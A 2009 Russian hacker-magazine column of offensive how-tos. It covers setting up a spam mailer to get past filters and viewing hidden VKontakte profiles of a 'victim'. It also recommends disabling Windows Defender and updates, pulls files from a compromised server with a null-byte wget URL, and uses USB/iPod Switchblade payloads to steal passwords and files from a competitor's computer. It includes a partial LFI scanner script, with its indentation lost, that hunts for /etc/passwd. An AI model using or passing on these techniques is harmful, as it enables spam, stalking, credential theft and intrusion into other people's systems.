Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #123, МАРТ 2009 г.

Easy-Hack

Леонид «R0id» Стройков (r0id@mail.ru)
Андрей «Skvoz» Комаров (komarov@itdefence.ru)

Задача: Выбрать и настроить работоспособную программу рассылки писем

Решение

В последнее время можно встретить огромное количество самых разнообразных спам-систем, начиная от примитивных PHP-скриптов с функцией mail() и заканчивая функциональными инструментами наподобие DirectMailer. Однако спам-фильтры не стоят на месте, и с каждым днем все сложнее доставить рассылку в Inbox. Но не будем унывать, есть еще пара тулз, способных облегчить нам жизнь. Одна из таких софтин - [INBOX]Golder, созданная на базе DirectMailer. Прежде чем приступить к настройке спамилки, перечислим ее основные возможности:

  • Высокая скорость рассылки (до 200000 писем в час)
  • Поддержка неограниченного количества шаблонов
  • Встроенный чекер валидности email-баз
  • Открытый исходный код
  • Отсутствие привязок к серверу
  • Нетребовательность к ресурсам
  • Полностью автономная работа
  • Возможность отправки писем с аттачем
  • Возможность эмуляции почтовых клиентов «Outlook» и «The Bat»
  • Поддержка Text/HTML-формата в письмах

Теперь приступим к установке и конфигурированию системы (естественно, для благих намерений, например, – оповестить друзей о предстоящем событии):

  1. Сливаем архив с утилой с нашего ДВД.
  2. Покупаем сервер, способный выдержать исходящую рассылку (аккаунты на обычном хостинге, как правило, быстро прикрывают).
  3. Заливаем тулзу в каталог /cgi-bin.
  4. На скрипт inbox.cgi ставим чмод 755, а на все каталоги (log, upload, sys) - 777.
  5. Конфиг спамилки - файл config.txt. Редактируем его по своему усмотрению (пример конфига ищи на DVD).
  6. Перезаливаем файл config.txt на сервер.

Задача: Просмотреть скрытый профиль Вконтакте в режиме невидимости

Решение

Наверняка, ты не раз сталкивался с проблемой просмотра скрытых профилей www.vkontakte.ru. Что и говорить, возможность скрыть свои данные безусловно нужна, вот только не хочется, чтобы ей пользовались интересующие нас юзеры :). Так или иначе, сейчас мы подробно опишем алгоритм действий по просмотру закрытых страничек. Кстати, сама такая возможность существовала уже давно. Суть ее заключалась в просмотре скрытого содержимого чужого аккаунта с прямым обращением к скриптам ресурса и подстановкой нужного ID юзера. Со временем нашлись добрые люди, которые собрали всю схему в одно целое и открыли бесплатный сервис - http://night.doomgate.ru/vkontakte. С его помощью ты без труда можешь просмотреть содержимое скрытого профиля. Нужно лишь выполнить ряд простых действий.

  1. Заходим на vkontakte.ru и ищем человека, профиль которого нам интересен.
  2. Теперь необходимо определить ID жертвы. Делается это при обработке результатов поиска. Наводим мышкой на линк «Друзья имя_человека» и в статусной строке смотрим значение параметра «id».
  3. Заходим по ссылке http://night.doomgate.ru/vkontakte.
  4. В поле «Введите id пользователя» вбиваем значение полученного ранее ID и жмем соответствующую кнопку.
  5. Получаем ряд ссылок на данные юзера:
    • Фото, где отмечен этот человек
    • Его фотоальбомы
    • Обзор фотографий
    • Его видеозаписи
    • Его аудиозаписи
    • Его заметки
    • Друзья этого человека
    • Последние статусы
    • Мнения других людей об этом человеке
    • Группы, в которых состоит этот человек
    • Рейтинг
    • Приложения, которые он использует
    • Вопросы, которые задал этот человек
    • Его события (встречи)
  6. Кликнув по выбранному линку - переходим к соответствующему скрипту на www.vkontakte.ru с интересующим нас ID и содержимым.

Справедливости ради стоит отметить, что есть аналогичная утила под названием «Vrazvedke». Что использовать - решать тебе, большой разницы нет.
Перейдем к режиму невидимости. В отличие от Одноклассников, Вконтакте нет этой функции, но отчаиваться не стоит. Чтобы твой статус не отображался как «Online», тебе нужно просто не обращаться к скрипту profile.php и не переходить на страницу «Моя страница». Будучи незаметным для широкого круга пользователей, ты сможешь смотреть фото/видео, оставлять комменты на стенах и читать приватные сообщения :).

Прим. редактора: существует и другой способ просмотра интересующих тебя пользователей Vkontakte в режиме невидимости. Как утверждается, способ работает только в Firefox и сводится к простому алгоритму:

  1. Открываем Firefox.
  2. В адресной строке вводим about:config, откроются все настройки браузера.
  3. В поле filter вводим network.http.redirection-limit.
  4. Внизу появится только этот параметр, меняем его значение на 0 (тем самым мы запрещаем обрабатывать переадресации).
  5. Открываем новую вкладку (Ctrl+T), грузим страницу входа http://vkontakte.ru/login.php и логинимся на сервер.
  6. Вылезет ошибка, но так и должно быть.
  7. Идем на какую-нить другую страницу, например, http://vkontakte.ru/friend.php.
  8. Возвращаемся во вкладку с настройками и меняем значение параметра на дефолтное (значение 20).

Теперь ты в сети, но в инвизе. Обходи ссылки с profile.php и будешь всегда невидим для друзей.

Задача: Оптимизировать предустановленную Windows Vista

Решение

Увы, на большинстве современных ноутов, находящихся в продаже, предустановлена Виста. Кому-то она нравится, кому-то нет, но желание оптимизировать ось есть у всех :). Этим мы и займемся, но прежде разобьем весь процесс оптимизации на несколько этапов:

  1. Оптимизация загрузки ОС
  2. Отключение неиспользуемых служб
  3. Управление фоновой дефрагментацией
  4. Отключение неиспользуемых устройств
  5. Ускорение открытия меню Пуск/Start

Итак, начнем с загрузки. Ситуация здесь напоминает XP, поэтому можешь смело вычищать каталог «Автозагрузка», а также ненужные ключи из реестра. Существует довольно много специализированных утил по чистке системы, так что на этом этапе проблем возникнуть не должно. А вот с отключением неиспользуемых служб все намного интересней :). Для примера приведу несколько служб, которые ты можешь безболезненно отключить в своей Висте:

  1. Windows Defender - системная утила для обнаружения вредоносного ПО. Если стоит приличного вида антивирь - смело отключаем.
  2. Computer Browser/Обозреватель компьютеров - системная служба, отвечающая за составление текущего списка компьютеров в Сети, используется для просмотра сетевых доменов и ресурсов. Если у тебя нет локалки, либо ты готов пожертвовать функциональностью в обмен на производительность - отключаем.
  3. Windows Update - системная служба обновления ОС. При наличии кривых заплаток от мелкомягких рекомендуется ставить все обновления вручную.
  4. Windows Error Reporting Service/Служба отчетов об ошибках - системная служба регистрации ошибок служб/приложений. Если тебе еще со времен XP успело надоесть регулярно вылетающее после сбоя какого-либо приложения окно с предложением отправить отчет - однозначно отключаем :).
  5. Print Spooler/Диспетчер очереди печати - системный диспетчер очереди печати. Если нет принтера - отключаем, появится - включим.
  6. Security Center/Центр безопасности - системная утила, наблюдающая за настройками безопасности ОС. При наличии прямых рук, установленного антивируса и настроенного фаера становится полностью бесполезной. Как результат - отключаем.

Список можешь расширить на свое усмотрение :). Как ты знаешь, в Висте реализована возможность фоновой дефрагментации дисков. Для просмотра информации по настройкам/расписанию дефрагментации используй команду «defrag». Если не ошибаюсь, по дефолту ОС проводит дефрагментацию еженедельно по средам. Подробно останавливаться на отключении неиспользуемых устройств не буду – здесь все просто: юзаем - не трогаем, не юзаем – отрубаем. Путем недолгих экспериментов можно понять, что используется, а что - нет.

С ускорением открытия меню «Пуск» все еще легче! Обращаемся к реестру, а именно – к ветке «HKEY_CURRENT_USER -> Control PanelDesktop». Находим ключ с названием «MenuShowDelay» и убираем задержку, заменив дефолтовое значение «400» на «0». Кстати, при работе с реестром не забывай одно из основных правил: не уверен - не изменяй! Совершенству нет предела и процессом оптимизации можно заниматься бесконечно. Не увлекайся :).

Задача: Выкачать архив с поломанного сервера путем эксплуатации нульбайта

Решение

С виду задача тривиальна, но дело в том, что содержимое архивов производится внутри браузера. И если уязвимость исполняется на уровне браузера – следует применить какие-либо программные средства для ее обработки. Сделать это можно с помощью любой качалки (wget, curl, fetch), поэтому твои действия заключаются всего в двух шагах.

1. Фиксируй путь к файлу и выкачивай архив, например:

http://host.ru/dir1/dir2/dir3/file.tar.gz%00
wget: wget -O file.rar http://host.ru/dir1/dir2/dir3/file.tar.gz%00

2. Важно понимать, что в файле находится не только желаемый архив, но и куча стороннего HTML-кода, в пространстве которого содержится файл. Поэтому проделаем следующую операцию: воспользуемся каким-либо редактором кода и «урежем» все лишнее до заголовка файла. Не советую для этих целей использовать блокнот, – лучше взять какое-либо продвинутое средство вроде BRED3.

Задача: Проникнув в офис конкурентов, слить все важные файлы с чужого компьютера на портативный носитель (например, Ipod)

Решение

Изучим софт, который поможет в наших враждебных целях.

  • USB Switchblade (wiki.hak5.org/wiki/USB_Switchblade) – незаменимое средство в боях на чужой территории. Другое популярное название тулзы – Hak5 USB Switchblade, но сути это не меняет. Это готовый проект, содержащий несколько пакетов для хардкорного пассграббинга и пентестинга: Dump SAM (название говорит само за себя – дампит базу Security Account Manager’a Windows), IE/Firefox Password Grabber (ворует закешированные пароли известного браузера), скрытый установщик VNC-сервиса, а также некоторые удобные скрипты для добавления пользователей, контроля сетевой активности и так далее. К слову, список этот расширяется. На официальном сайте поставляется несколько вариаций (так называемых «techniques»):

1. Max Damage Technique. Просто вставляем флешку, обращаемся к консоли: «X:\Documents\logfiles» (где X – буква флеш-драйва) и дожидаемся создания текстовых файлов со всем содержимым.

2. Amish Technique. Для начала скачаем вредоносную «начинку» (hak5.org/releases/2x02/switchblade/AMISH1.0-payload.rar) и распакуем в корень своей флешки. Дабы не делать лишних действий, там же, в корне, можно создать autorun.inf файл, в котором прописать директиву на автозагрузку: «UseAutoPlay=1». Втыкаем и обращаемся к «X:\Dump».

  • Что касается Ipod, – могу посоветовать программу aliveintheory.110mb.com/IPODSWITCHBLADE.zip. Установка предельно проста: распаковываем и при подключении к компьютеру, обращаемся в корне Ipod'a к .exe-файлу. Он запросит пароль. Набиваем «hak5», после чего установку можно считать завершенной. Подключаем плеер к компьютеру жертвы, делаем навигацию по нему и исполняем с progstart.bat. Понеслось! Ждем немного и потом проверяем файл «X:\iPod_Config\Dump».
  • С остальными примочками можно ознакомиться здесь: wiki.hak5.org/wiki/USB_Switchblade#Max_Damage_Technique.

Коснусь только наиболее интересной, гремучей смеси – так называемой Silivrenion's Technique. Она работает на XP SP 2, и туда собрано все, что только можно (граббер ключей и данных для авторизаций на Windows Wireless Zero Configuration, netcat и т.д.). Интереса ради, стоит ознакомиться и с программой ExeScript (hide-folder.com/overview/hf_7.html), которая позволяет без особых знаний сделать из почти любых известных расширений файлов (.bat, .vbs .js, WSF, WSH, HTA) исполняемый файл. Порой это может очень пригодиться!

Задача: Найти на взломанном посредством нульбайта сервере интересные файлы (конфиги, дампы баз и т.п.)

Решение

При эксплуатации LFI, или нульбайтов, часто встает вопрос об обнаружении каких-либо важных локальных файлов. На некоторых системах, вроде FreeBSD, такая проблема отпадает сама собой, поскольку нульбайт предоставляет пофайловый листинг директорий. Но что делать на других системах (CentOS, Linux), где подобные вещи приходится искать наугад? Можно воспользоваться простым скриптом, который будет скармливать задание на поиск файла (к примеру, passwd) и прогонять его по всем возможным директориям с разной глубиной. Наиболее интересные фрагменты сценария привожу ниже, а полный код ищи на DVD:

import sys, httplib, urllib2, socket, time, re

# шаблоном можно задать поиск конкретной строки, например, в файле /etc/passed
Search = "root:"
#Verbose Mode On = 1
Verbose = 0
# заветный список путей для сканирования
vulns = "http://packetstormsecurity.org/fuzzer/dirTraversal.txt"
# интервал ожидания
TTW = "2"

def main(host, path):
h = httplib.HTTP(host)
h.putrequest("HEAD", path)
h.putheader("Host", host)
h.endheaders()
okresp, reason, headers = h.getreply()
return okresp, reason, headers.get("Server")

def getsource(line):
try:
source = urllib2.urlopen("http://"+line).read()
if Verbose == 1:
print "Source:",len(source)
if re.search(Search.lower(), source.lower()) != None:
print "\n[!] LFI:",line,"\n"
except(urllib2.HTTPError, urllib2.URLError), msg:
print "[-] Received Error:",msg
pass

socket.setdefaulttimeout(10)
...
print "\n[+] Host:",host
print "[+] File:",x
print "[+] Search:",Search
print "[+] Time to wait:",TTW,"seconds"
print "[+] Server:",server
print "[+] Response:",okresp, reason
print "[+] Paths Loaded:",len(paths)
if Verbose == 1:
print "[+] Verbose Mode On\n"
else:
print "[+] Verbose Mode Off\n"

...

Задача: Альтернативным способом узнать ОС на сетевом уровне

Решение

Представим, что стандартными средствами узнать инфу о системе не получается. К примеру, сканирование NMAP легко сбить с толку на системах с открытым исходным кодом. Что делать? Прибегнуть к технике пассивного фингерпринтинга? Открою секрет: его тоже можно обмануть (изменить опции следования TCP OPTIONS, изменить размеры окна, модифицировать ядра ОС и так далее), хоть он и является наиболее актуальным и правдивым.

У задачи нет однозначного ответа. Следует применить несколько разных по назначению способов. Вот способ определения ОС по telnet-сервису:

1. Скачиваем относительно новую утилиту telnetrecon (computec.ch/projekte/telnetrecon), позволяющую при открытом telnet-сервисе (TCP 23) определить ОС.

2. После запуска видим, допустим, следующий ASCII-вывод –

255-253-37-255-251-255-251-255-253-92-39-255-253-255-253-255-251

Это говорит об отпечатке Windows XP.

3. Спецификацию Telnet можно найти в документе RFC 854. Расшифровка ответа описывается примерно так:

«255» - IAC-byte
«253» - DO [0xdf]
«37» - Authentication option (RFC 2941)
«255» - IAC-byte
«251» - WILL [0xfb]

Содержание